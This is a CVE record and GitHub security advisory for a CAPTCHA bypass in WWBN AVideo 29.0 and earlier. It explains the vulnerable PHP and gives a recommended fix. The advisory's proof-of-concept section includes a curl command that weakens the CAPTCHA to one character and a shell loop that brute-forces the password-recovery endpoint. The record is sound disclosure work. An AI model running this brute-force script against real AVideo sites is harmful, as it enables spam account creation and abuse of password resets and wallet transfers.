{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "AC38CA07-71C1-4C86-B84A-83CF96367CBA",
              "versionEndIncluding": "29.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/getCaptcha.php` accepts the CAPTCHA length (`ql`) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive `strcasecmp` comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on `Captcha::validation()` (user registration, password recovery, contact form, etc.) in at most ~33 requests per session. Commit bf1c76989e6a9054be4f0eb009d68f0f2464b453 contains a fix."
    }
  ],
  "id": "CVE-2026-40935",
  "lastModified": "2026-06-17T10:45:54.660",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-40935",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-22T18:34:39.128005Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-04-21T23:16:20.577",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/bf1c76989e6a9054be4f0eb009d68f0f2464b453"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hg7g-56h5-5pqr"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hg7g-56h5-5pqr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-804"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-804"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:13:21Z",
    "nvd_published_at": "2026-04-21T23:16:20Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`objects/getCaptcha.php` accepts the CAPTCHA length (`ql`) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive `strcasecmp` comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on `Captcha::validation()` (user registration, password recovery, contact form, etc.) in at most ~33 requests per session.\n\n## Details\n\nThree cooperating flaws in `objects/getCaptcha.php` and `objects/captcha.php` reduce CAPTCHA protection to a deterministic bypass.\n\n### 1. External control of CAPTCHA strength (`objects/getCaptcha.php:7`)\n\n```php\n$largura        = empty($_GET[\u0027l\u0027])  ? 120 : $_GET[\u0027l\u0027];\n$altura         = empty($_GET[\u0027a\u0027])  ? 40  : $_GET[\u0027a\u0027];\n$tamanho_fonte  = empty($_GET[\u0027tf\u0027]) ? 18  : $_GET[\u0027tf\u0027];\n$quantidade_letras = empty($_GET[\u0027ql\u0027]) ? 5 : $_GET[\u0027ql\u0027]; // attacker-controlled\n\n$capcha = new Captcha($largura, $altura, $tamanho_fonte, $quantidade_letras);\n$capcha-\u003egetCaptchaImage();\n```\n\nThere is no minimum, no type-check, and no clamping. Requesting `/objects/getCaptcha.php?ql=1` causes the server to generate a single-character word and save it to the attacker\u0027s own PHP session.\n\n### 2. Small alphabet stored in the session (`objects/captcha.php:33-39`)\n\n```php\n$letters = \u0027AaBbCcDdEeFfGgHhIiJjKkLlMmNnPpQqRrSsTtUuVvYyXxWwZz23456789\u0027;\n$palavra = substr(str_shuffle($letters), 0, ($this-\u003equantidade_letras));\nif (User::isAdmin() \u0026\u0026 empty($_REQUEST[\u0027forceCaptcha\u0027])) {\n    $palavra = \"admin\";\n}\n_session_start();\n$_SESSION[\"palavra\"] = $palavra;\n```\n\nAfter case-folding the alphabet is 25 letters (A\u2013Z minus `O`) plus digits `2-9`, i.e. 33 unique values. For an unauthenticated attacker the admin branch at line 35 is unreachable, so the value is purely random over that 33-symbol set.\n\n### 3. Weak comparison and token NOT invalidated on failure (`objects/captcha.php:58-75`)\n\n```php\npublic static function validation($word)\n{\n    if (User::isAdmin() \u0026\u0026 $_SESSION[\"palavra\"] === \u0027admin\u0027) {\n        return true;\n    }\n    _session_start();\n    if (empty($_SESSION[\"palavra\"])) {\n        _error_log(\"Captcha validation Error: you type ({$word}) and session is empty ...\");\n        return false;\n    }\n    $validation = (strcasecmp($word, $_SESSION[\"palavra\"]) == 0);\n    if (!$validation) {\n        _error_log(\"Captcha validation Error: you type ({$word}) and session is ({$_SESSION[\"palavra\"]}) ...\");\n    } else {\n        unset($_SESSION[\"palavra\"]); // Consume the captcha token to prevent reuse\n    }\n    return $validation;\n}\n```\n\nTwo problems here:\n\n* `strcasecmp` is case-insensitive, collapsing the alphabet to ~33 distinct values.\n* `unset($_SESSION[\"palavra\"])` only runs in the **success** branch. Every failed guess leaves the stored word intact, so the same session can be retried against the same stored answer until it matches.\n\n### Reachability\n\n`Captcha::validation()` is invoked from unauthenticated entry points including:\n\n* `objects/userCreate.json.php:38` \u2014 user registration (`Captcha::validation($_POST[\u0027captcha\u0027])`)\n* `objects/userRecoverPass.php:31` \u2014 password recovery\n* `objects/sendEmail.json.php:10` \u2014 public contact email\n* `plugin/API/API.php:4243` and `:5684` \u2014 public API endpoints\n* `plugin/CustomizeUser/donate.json.php:62`, `confirmDeleteUser.json.php:15`\n* `plugin/YPTWallet/view/transferFunds.json.php:25`\n\nNone of these require authentication for the CAPTCHA check to matter \u2014 they rely on it exactly because they\u0027re exposed to anonymous or lightly-authenticated callers.\n\n## PoC\n\nAttacker flow against an unauthenticated signup/recovery endpoint:\n\nStep 1 \u2014 Weaken the CAPTCHA to one character and install it in the attacker\u0027s own PHP session:\n\n```\ncurl -c jar -s \u0027https://target/objects/getCaptcha.php?ql=1\u0027 -o /dev/null\n```\n\nStep 2 \u2014 Brute-force the single-character answer. Because failed attempts do NOT reset `$_SESSION[\"palavra\"]`, the same cookie jar is reused and the same stored value is checked against each guess:\n\n```\nfor c in a b c d e f g h i j k l m n p q r s t u v w x y z 2 3 4 5 6 7 8 9; do\n  code=$(curl -b jar -s -o /tmp/r -w \u0027%{http_code}\u0027 -X POST \\\n    \u0027https://target/objects/userRecoverPass.php\u0027 \\\n    --data-urlencode \u0027user=victim\u0027 \\\n    --data-urlencode \u0027recoverpass=1\u0027 \\\n    --data-urlencode \"captcha=$c\")\n  if ! grep -q \u0027Your code is not valid\u0027 /tmp/r; then\n    echo \"HIT with captcha=$c\"; break\n  fi\ndone\n```\n\n* Worst case: 33 POSTs per session to pass the CAPTCHA once.\n* With `ql=2` the keyspace is ~1089 \u2014 still trivial and more robust against any edge cases involving `empty()` on a single-digit word.\n* The same technique works against `userCreate.json.php`, `sendEmail.json.php`, and every other `Captcha::validation()` caller.\n\nObserved behavior on the local instance: each wrong guess returns `\"Your code is not valid\"` without rotating `$_SESSION[\"palavra\"]`; the logged `session is (\u003cchar\u003e)` message in `_error_log` stays the same across all failed attempts in a session, confirming the token is not rotated.\n\n## Impact\n\nCAPTCHA is the only \"are you human\" control on several anonymous endpoints. Reducing it to a deterministic \u226433-try bypass enables:\n\n* **Automated account creation / spam signups** via `userCreate.json.php`.\n* **User enumeration / password-reset spamming** via `userRecoverPass.php`.\n* **Unsolicited email abuse** via `sendEmail.json.php`.\n* **Comment / donation / wallet abuse** on plugin endpoints that rely on `Captcha::validation`.\n\nIt does not by itself leak secrets or grant privileges, hence Integrity:Low (abuse of an intended rate-limiting/anti-bot control) with no direct Confidentiality/Availability impact.\n\n## Recommended Fix\n\nThree coordinated changes in `objects/getCaptcha.php` and `objects/captcha.php`:\n\n1. Clamp `ql` (and ideally the other image params) to a safe server-side range:\n\n   ```php\n   // objects/getCaptcha.php\n   $quantidade_letras = isset($_GET[\u0027ql\u0027]) ? (int)$_GET[\u0027ql\u0027] : 5;\n   $quantidade_letras = max(5, min(8, $quantidade_letras));\n   ```\n\n2. Always consume the stored CAPTCHA answer on any validation attempt (success or failure) so each guess costs one fresh `getCaptcha.php` round-trip:\n\n   ```php\n   // objects/captcha.php::validation()\n   _session_start();\n   if (empty($_SESSION[\"palavra\"])) {\n       return false;\n   }\n   $stored = $_SESSION[\"palavra\"];\n   unset($_SESSION[\"palavra\"]); // always consume, regardless of outcome\n   if (User::isAdmin() \u0026\u0026 $stored === \u0027admin\u0027) {\n       return true;\n   }\n   return strcasecmp($word, $stored) === 0;\n   ```\n\n3. Use a CSPRNG for word generation instead of `str_shuffle`, e.g.:\n\n   ```php\n   $palavra = \u0027\u0027;\n   $len = strlen($letters);\n   for ($i = 0; $i \u003c $this-\u003equantidade_letras; $i++) {\n       $palavra .= $letters[random_int(0, $len - 1)];\n   }\n   ```\n\nOptionally also add an application-level rate limit (per IP / per session) on all endpoints that call `Captcha::validation()` as defense in depth.",
  "id": "GHSA-hg7g-56h5-5pqr",
  "modified": "2026-04-24T20:32:43Z",
  "published": "2026-04-14T23:13:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hg7g-56h5-5pqr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/bf1c76989e6a9054be4f0eb009d68f0f2464b453"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CAPTCHA Bypass in WWBN/AVideo via Attacker-Controlled Length Parameter and Missing Token Invalidation on Failure"
}